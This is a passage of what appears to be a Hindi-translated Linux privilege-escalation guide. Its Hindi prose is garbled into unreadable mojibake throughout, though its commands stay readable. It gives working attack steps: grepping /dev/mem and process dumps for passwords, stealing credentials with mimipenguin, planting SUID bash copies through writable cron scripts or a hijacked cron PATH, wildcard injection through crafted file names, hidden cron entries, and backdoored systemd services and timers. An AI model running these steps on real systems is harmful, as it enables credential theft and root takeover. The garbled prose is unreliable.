/dev/mem рдкреНрд░рдгрд╛рд▓реА рдХреА рднреМрддрд┐рдХ рд╕реНрдореГрддрд┐ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рди рдХрд┐ рдЖрднрд╛рд╕реА рд╕реНрдореГрддрд┐ред рдХрд░реНрдгреЗрд▓ рдХрд╛ рдЖрднрд╛рд╕реА рдкрддрд╛ рдЕрдВрддрд░реНрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП /dev/kmem рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рд╛рдорд╛рдиреНрдпрдд: /dev/mem рдХреЗрд╡рд▓ root рдФрд░ kmem рд╕рдореВрд╣ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИред

strings /dev/mem -n10 | grep -i PASS

рд▓рд┐рдирдХреНрд╕ рдХреЗ рд▓рд┐рдП ProcDump

ProcDump рдПрдХ рд▓рд┐рдирдХреНрд╕ рдХрд╛ рдирдпрд╛ рд░реВрдкрд╛рдВрддрд░рдг рд╣реИ, рдЬреЛ рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рд╕рд┐рд╕рдЗрдВрдЯрд░рдирд▓реНрд╕ рд╕реБрдЗрдЯ рдХреЗ рдХреНрд▓рд╛рд╕рд┐рдХ ProcDump рдЯреВрд▓ рдХрд╛ рд╣реИред рдЗрд╕реЗ https://github.com/Sysinternals/ProcDump-for-Linux рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

рдЙрдкрдХрд░рдг

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдирд┐рдореНрди рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • https://github.com/hajzer/bash-memory-dump (рд░реВрдЯ) - _рдЖрдк рд░реВрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

  • https://www.delaat.net/rp/2016-2017/p97/report.pdf рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ A.5 (рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕

рдореИрдиреНрдпреБрдЕрд▓ рдЙрджрд╛рд╣рд░рдг

рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЪрд▓ рд░рд╣реА рд╣реИ:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рдЦрдВрдб рджреЗрдЦреЗрдВ) рдФрд░ рдореЗрдореЛрд░реА рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ:

./dump-memory.sh 2027
strings *.dump | grep -i password

рдорд┐рдореАрдкреЗрдВрдЧреНрд╡рд┐рди

рдпрд╣ рдЯреВрд▓ https://github.com/huntergregal/mimipenguin рдореЗрдореЛрд░реА рд╕реЗ рд╕рд╛рдл рдкрд╛рда рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЪреБрд░рд╛ рд▓реЗрдЧрд╛ рдФрд░ рдХреБрдЫ рдкреНрд░рд╕рд┐рджреНрдз рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗред рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рд╡рд┐рд╢реЗрд╖рддрд╛рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд╛рдо

GDM рдкрд╛рд╕рд╡рд░реНрдб (Kali рдбреЗрд╕реНрдХрдЯреЙрдк, Debian рдбреЗрд╕реНрдХрдЯреЙрдк)

gdm-password

Gnome Keyring (Ubuntu рдбреЗрд╕реНрдХрдЯреЙрдк, ArchLinux рдбреЗрд╕реНрдХрдЯреЙрдк)

gnome-keyring-daemon

LightDM (Ubuntu рдбреЗрд╕реНрдХрдЯреЙрдк)

lightdm

VSFTPd (рд╕рдХреНрд░рд┐рдп FTP рдХрдиреЗрдХреНрд╢рди)

vsftpd

Apache2 (рд╕рдХреНрд░рд┐рдп HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрд░)

apache2

OpenSSH (рд╕рдХреНрд░рд┐рдп SSH рд╕рддреНрд░ - рд╕реБрдбреЛ рдЙрдкрдпреЛрдЧ)

sshd:

рдЦреЛрдЬ рд░реЗрдЬреЗрдХреНрд╕/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

рдирд┐рд░реНрдзрд╛рд░рд┐рдд/Cron рдиреМрдХрд░рд┐рдпрд╛рдБ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдиреМрдХрд░реА рд╡рдВрд▓рд░реЗрдмрд▓ рд╣реИред рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ (рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рд╡рд▓реНрди? рдХреНрдпрд╛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ? рд╕рд┐рдорд▓рд┐рдВрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ? рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдПрдБ?)ред

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

рдХреНрд░реЙрди рдкрде

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, /etc/crontab рдХреЗ рдЕрдВрджрд░ рдЖрдк рдкрд╛рде рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "user" рдХреЛ /home/user рдкрд░ рд▓реЗрдЦрди рдЕрдзрд┐рдХрд╛рд░ рд╣реИ)

рдпрджрд┐ рдЗрд╕ crontab рдХреЗ рдЕрдВрджрд░ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛрдИ рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд┐рдирд╛ рдкрде рд╕реЗрдЯ рдХрд┐рдП рдХреЛ рдХреНрд░рд┐рдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: * * * * root overwrite.sh рддреЛ, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

рдХреНрд░реЙрди рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдЗрдВрдЬреЗрдХреНрд╢рди)

рдпрджрд┐ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХрдорд╛рдВрдб рдореЗрдВ "*" рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬреЗрдВ рдХреА рдЬрд╛ рд╕рдХреЗрдВ (рдЬреИрд╕реЗ privesc). рдЙрджрд╛рд╣рд░рдг:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

рдпрджрд┐ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрд┐рд╕реА рдкрде рдХреЗ рдкрд╣рд▓реЗ рд╣реЛ рдЬреИрд╕реЗ /some/path/* , рддреЛ рдпрд╣ рдХрдордЬреЛрд░ рдирд╣реАрдВ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ ./* рднреА рдирд╣реАрдВ рд╣реИред)

рдФрд░ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рд╢реЛрдзрди рддрдХрдиреАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ:

Wildcards Spare tricks

рдХреНрд░реЙрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдзрд┐рд▓реЗрдЦрдг рдФрд░ рд╕рд┐рдорд▓рд┐рдВрдХ

рдпрджрд┐ рдЖрдк рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рд╕реА рдХреНрд░реЙрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рдПрдХ рд╢реИрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

рдпрджрд┐ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╣рдЯрд╛рдирд╛ рдФрд░ рдПрдХ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд┐рдорд▓рд┐рдВрдХ рдлрд╝реЛрд▓реНрдбрд░ рдмрдирд╛рдирд╛ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

рдирд┐рдпрдорд┐рдд cron jobs

рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдореЙрдирд┐рдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ 1, 2 рдпрд╛ 5 рдорд┐рдирдЯ рдХреЗ рдЕрдВрддрд░ рд╕реЗ рдЪрд▓рд╛рдИ рдЬрд╛ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВред рд╢рд╛рдпрдж рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЙрдиреНрдирдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 1 рдорд┐рдирдЯ рдХреЗ рджреМрд░рд╛рди рд╣рд░ 0.1 рд╕реЗрдХрдВрдб рдХрд╛ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдо рдЪрд▓рд╛рдП рдЧрдП рдХрдорд╛рдВрдбреЛрдВ рд╕реЗ рдХреНрд░рдордмрджреНрдз рдХрд░реЗрдВ рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЪрд▓рд╛рдП рдЧрдП рдХрдорд╛рдВрдбреЛрдВ рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

рдЖрдк рдпрд╣рд╛рдБ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ pspy (рдпрд╣ рд╣рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдореЙрдирд┐рдЯрд░ рдФрд░ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛ рдЬреЛ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ)ред

рдЕрджреГрд╢реНрдп cron рдЬреЙрдмреНрд╕

рдПрдХ рдХреНрд░реЙрди рдЬреЙрдм рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдПрдХ рдХрдореЗрдВрдЯ рдХреЗ рдмрд╛рдж рдПрдХ рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдбрд╛рд▓рдХрд░ (рдиреНрдпреВрд▓рд╛рдЗрди рд╡рд░реНрдгрдХреНрд░рдо рдХреЗ рдмрд┐рдирд╛), рдФрд░ рдХреНрд░реЙрди рдЬреЙрдм рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдЪрд╛рд░ рдзреНрдпрд╛рди рджреЗрдВ):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

рд╕реЗрд╡рд╛рдПрдВ

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп .service рдлрд╝рд╛рдЗрд▓реЗрдВ

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рднреА .service рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рд╣рд╛рдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛ рд╢реБрд░реВ, рдкреБрдирдГ рдЖрд░рдВрдн рдпрд╛ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рдЖрдкрдХрд╛ рдмреИрдХрдбреЛрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЛ рд░рд┐рдмреВрдЯ рд╣реЛрдиреЗ рддрдХ рдХрд╛ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝реЗрдЧрд╛)ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ рдмреИрдХрдбреЛрд░ рдмрдирд╛рдПрдВ .service рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ ExecStart=/tmp/script.sh

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА

рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реЗрд╡рд╛рдПрдВ рджреНрд╡рд╛рд░рд╛ рдХреНрд░рд┐рдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рдЗрдирд░реА рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдмреИрдХрдбреЛрд░ рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдВ рдкреБрдирдГ рдХреНрд░рд┐рдпрд╛рдиреНрд╡рд┐рдд рд╣реЛрдВ, рддреЛ рдмреИрдХрдбреЛрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛрдВрдЧреЗред

systemd PATH - рд╕рд╛рдкреЗрдХреНрд╖ рдорд╛рд░реНрдЧ

рдЖрдк systemd рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ PATH рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

systemctl show-environment

рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЖрдкрдХреЛ рд╕реЗрд╡рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╕рд╛рдкреЗрдХреНрд╖ рдорд╛рд░реНрдЧреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

рдлрд┐рд░, executable рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рд░рд┐рд▓реЗрдЯрд┐рд╡ рдкрд╛рде рдмрд╛рдЗрдирд░реА рдХреЗ рдирд╛рдо рдХреЗ рд╕рдорд╛рди рд╣реЛ рд╕рд┐рд╕реНрдЯрдордб рдкрд╛рде рдлреЛрд▓реНрдбрд░ рдореЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЬрдм рд╕реЗрд╡рд╛ рд╕реЗ рд╡рдВрд▓рд░реЗрдмрд▓ рдХреНрд░рд┐рдпрд╛ (рд╢реБрд░реВ, рд░реЛрдХреЗрдВ, рд░реАрд▓реЛрдб) рдХреЛ рдирд┐рд╖реЗрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдП, рддреЛ рдЖрдкрдХрд╛ рдмреИрдХрдбреЛрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЕрдирд╡рд┐рд╢реЗрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдзрд╛рд░рдгрдд: рд╕реЗрд╡рд╛рдПрдВ рд╢реБрд░реВ/рд░реЛрдХрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рд▓реЗрдХрд┐рди рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк sudo -l рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред)

man systemd.service рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред

рдЯрд╛рдЗрдорд░реНрд╕

рдЯрд╛рдЗрдорд░реНрд╕ systemd рдпреВрдирд┐рдЯ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдирд╛рдо **.timer** рд╕реЗ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ **.service** рдлрд╝рд╛рдЗрд▓реЛрдВ рдпрд╛ рдШрдЯрдирд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИрдВред рдЯрд╛рдЗрдорд░реНрд╕ рдХреНрд░реЙрди рдХреЗ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ рдХреИрд▓реЗрдВрдбрд░ рд╕рдордп рдШрдЯрдирд╛рдУрдВ рдФрд░ рдореЛрдиреЛрдЯреЛрдирд┐рдХ рд╕рдордп рдШрдЯрдирд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рд╣рд╛рдпрдХ рд╕рдорд░реНрдерди рд╣реИ рдФрд░ рдпреЗ рдЕрд╕рдорд╡рд░реНрддреА рд░реВрдк рд╕реЗ рдЪрд▓рд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рд╕рднреА рдЯрд╛рдЗрдорд░реНрд╕ рдХреЛ рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

systemctl list-timers --all

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдЯрд╛рдЗрдорд░

рдпрджрд┐ рдЖрдк рдПрдХ рдЯрд╛рдЗрдорд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдХреБрдЫ systemd.unit рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ .service рдпрд╛ рдПрдХ .target)

Unit=backdoor.service

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрдХрд╛рдИ рдХреНрдпрд╛ рд╣реИ:

рдпрд╣ рдЯрд╛рдЗрдорд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдХрд╛рдИред рддрд╛рд░реНрдХрд┐рдХ рдПрдХ рдЗрдХрд╛рдИ рдирд╛рдо рд╣реИ, рдЬрд┐рд╕рдХрд╛ рд╕реВрдлрд╝рд┐рдХреНрд╕ ".timer" рдирд╣реАрдВ рд╣реИред рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдорд╛рди рдПрдХ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдЯрд╛рдЗрдорд░ рдЗрдХрд╛рдИ рдХреЗ рдирд╛рдо рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╕реВрдлрд╝рд┐рдХреНрд╕ рдХреЛ 